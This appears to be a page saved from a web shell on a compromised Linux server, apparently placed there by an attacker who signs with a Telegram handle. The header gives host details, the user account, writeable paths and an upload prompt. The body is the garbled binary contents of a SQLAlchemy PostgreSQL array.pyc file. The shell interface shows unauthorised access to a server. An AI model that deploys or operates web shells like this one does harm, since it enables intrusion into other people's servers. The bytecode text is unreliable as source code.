https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pyc
�
���\c@s(ddlmZddlmZddlmZddlmZddlmZyddl	m
ZWnek
r}dZnXejd	�Zejd
�Zdejfd��YZejd
dd�Zejddd�Zejddd�Zdejfd��YZeeej<eed<dS(i(tcolspecs(t
ischema_namesi(ttypes(t
expression(t	operatorsi����(tUUIDcCs|j||�S(s�A synonym for the :meth:`.ARRAY.Comparator.any` method.

    This method is legacy and is here for backwards-compatibility.

    .. seealso::

        :func:`.expression.any_`

    (tany(tothertarrexprtoperator((sJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pytAnyscCs|j||�S(s�A synonym for the :meth:`.ARRAY.Comparator.all` method.

    This method is legacy and is here for backwards-compatibility.

    .. seealso::

        :func:`.expression.all_`

    (tall(RRR	((sJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pytAll#starraycBs8eZdZdZd�Zedd�Zdd�ZRS(sbA PostgreSQL ARRAY literal.

    This is used to produce ARRAY literals in SQL expressions, e.g.::

        from sqlalchemy.dialects.postgresql import array
        from sqlalchemy.dialects import postgresql
        from sqlalchemy import select, func

        stmt = select([
                        array([1,2]) + array([3,4,5])
                    ])

        print stmt.compile(dialect=postgresql.dialect())

    Produces the SQL::

        SELECT ARRAY[%(param_1)s, %(param_2)s] ||
            ARRAY[%(param_3)s, %(param_4)s, %(param_5)s]) AS anon_1

    An instance of :class:`.array` will always have the datatype
    :class:`.ARRAY`.  The "inner" type of the array is inferred from
    the values present, unless the ``type_`` keyword argument is passed::

        array(['foo', 'bar'], type_=CHAR)

    .. seealso::

        :class:`.postgresql.ARRAY`

    R
cKs/tt|�j||�t|j�|_dS(N(tsuperR
t__init__tARRAYttype(tselftclausestkw((sJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pyRTscCs�|s|tjkrUt|t�s*t�tjd|d|d|d|jdt	�St
g|D]$}|j||dt	d|�^q_�SdS(Nt_compared_to_operatorttype_t_compared_to_typetuniquet_assume_scalar(Rtgetitemt
isinstancetinttAssertionErrorRt
BindParametertNoneRtTrueR
t_bind_param(RR	tobjRRto((sJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pyR!Xs	cCs3|tjtjtjfkr+tj|�S|SdS(N(Rtany_optall_opRRtGrouping(Rtagainst((sJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pyt
self_groupps
N(	t__name__t
__module__t__doc__t__visit_name__RtFalseRR!R((((sJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pyR
1s
	s@>t
precedenceis<@s&&RcBs�eZdZdejjfd��YZeZed
ed�Z	e
d��Ze
d��Zd�Z
d�Zd�Zd	�ZRS(s�PostgreSQL ARRAY type.

    .. versionchanged:: 1.1 The :class:`.postgresql.ARRAY` type is now
       a subclass of the core :class:`.types.ARRAY` type.

    The :class:`.postgresql.ARRAY` type is constructed in the same way
    as the core :class:`.types.ARRAY` type; a member type is required, and a
    number of dimensions is recommended if the type is to be used for more
    than one dimension::

        from sqlalchemy.dialects import postgresql

        mytable = Table("mytable", metadata,
                Column("data", postgresql.ARRAY(Integer, dimensions=2))
            )

    The :class:`.postgresql.ARRAY` type provides all operations defined on the
    core :class:`.types.ARRAY` type, including support for "dimensions",
    indexed access, and simple matching such as
    :meth:`.types.ARRAY.Comparator.any` and
    :meth:`.types.ARRAY.Comparator.all`.  :class:`.postgresql.ARRAY` class also
    provides PostgreSQL-specific methods for containment operations, including
    :meth:`.postgresql.ARRAY.Comparator.contains`
    :meth:`.postgresql.ARRAY.Comparator.contained_by`, and
    :meth:`.postgresql.ARRAY.Comparator.overlap`, e.g.::

        mytable.c.data.contains([1, 2])

    The :class:`.postgresql.ARRAY` type may not be supported on all
    PostgreSQL DBAPIs; it is currently known to work on psycopg2 only.

    Additionally, the :class:`.postgresql.ARRAY` type does not work directly in
    conjunction with the :class:`.ENUM` type.  For a workaround, see the
    special type at :ref:`postgresql_array_of_enum`.

    .. seealso::

        :class:`.types.ARRAY` - base array type

        :class:`.postgresql.array` - produces a literal array value.

    t
ComparatorcBs)eZdZd�Zd�Zd�ZRS(s$Define comparison operations for :class:`.ARRAY`.

        Note that these operations are in addition to those provided
        by the base :class:`.types.ARRAY.Comparator` class, including
        :meth:`.types.ARRAY.Comparator.any` and
        :meth:`.types.ARRAY.Comparator.all`.

        cKs|jt|dtj�S(sBoolean expression.  Test if elements are a superset of the
            elements of the argument array expression.
            tresult_type(toperatetCONTAINStsqltypestBoolean(RRtkwargs((sJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pytcontains�scCs|jt|dtj�S(s�Boolean expression.  Test if elements are a proper subset of the
            elements of the argument array expression.
            R0(R1tCONTAINED_BYR3R4(RR((sJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pytcontained_by�scCs|jt|dtj�S(suBoolean expression.  Test if array has elements in common with
            an argument array expression.
            R0(R1tOVERLAPR3R4(RR((sJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pytoverlap�s(R)R*R+R6R8R:(((sJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pyR/�s			cCsat|t�rtd��nt|t�r9|�}n||_||_||_||_dS(sPConstruct an ARRAY.

        E.g.::

          Column('myarray', ARRAY(Integer))

        Arguments are:

        :param item_type: The data type of items of this array. Note that
          dimensionality is irrelevant here, so multi-dimensional arrays like
          ``INTEGER[][]``, are constructed as ``ARRAY(Integer)``, not as
          ``ARRAY(ARRAY(Integer))`` or such.

        :param as_tuple=False: Specify whether return results
          should be converted to tuples from lists. DBAPIs such
          as psycopg2 return lists by default. When tuples are
          returned, the results are hashable.

        :param dimensions: if non-None, the ARRAY will assume a fixed
         number of dimensions.  This will cause the DDL emitted for this
         ARRAY to include the exact number of bracket clauses ``[]``,
         and will also optimize the performance of the type overall.
         Note that PG arrays are always implicitly "non-dimensioned",
         meaning they can store any number of dimensions no matter how
         they were declared.

        :param zero_indexes=False: when True, index values will be converted
         between Python zero-based and PostgreSQL one-based indexes, e.g.
         a value of one will be added to all index values before passing
         to the database.

         .. versionadded:: 0.9.5


        sUDo not nest ARRAY types; ARRAY(basetype) handles multi-dimensional arrays of basetypeN(RRt
ValueErrorRt	item_typetas_tuplet
dimensionstzero_indexes(RR<R=R>R?((sJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pyR�s&			cCs|jS(N(R=(R((sJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pythashable�scCstS(N(tlist(R((sJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pytpython_typescCs
||kS(N((Rtxty((sJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pytcompare_valuesscs��dkrt|�}n�dksT�dkr�|sTt|dttf�r��rt��fd�|D��S�|�Sn#�����fd�|D��SdS(Niic3s|]}�|�VqdS(N((t.0RC(titemproc(sJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pys	<genexpr>sc3s=|]3}�j|��dk	r+�dnd��VqdS(iN(t_proc_arrayR(RFRC(t
collectiontdimRGR(sJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pys	<genexpr>s(RRARttuple(RtarrRGRJRI((RIRJRGRsJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pyRH	s
cs1�jj|�j|����fd�}|S(Ncs-|dkr|S�j|��jt�SdS(N(RRHR>RA(tvalue(t	item_procR(sJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pytprocess+s(R<tdialect_impltbind_processor(RtdialectRO((RNRsJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pyRQ&s	cs4�jj|�j||����fd�}|S(Ncs<|dkr|S�j|��j�jr1tnt�SdS(N(RRHR>R=RKRA(RM(RNR(sJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pyRO:s(R<RPtresult_processor(RRRtcoltypeRO((RNRsJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pyRS5sN(R)R*R+R3RR/tcomparator_factoryR-RRtpropertyR@RBRERHRQRS(((sJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pyR~s+1			t_arrayN(tbaseRRtRR3tsqlRRtuuidRt_python_UUIDtImportErrorRteqR
RtTupleR
t	custom_opR2R7R9R(((sJ/usr/lib64/python2.7/site-packages/sqlalchemy/dialects/postgresql/array.pyt<module>s"

F�


https://t.me/AnonymousX5 - 2025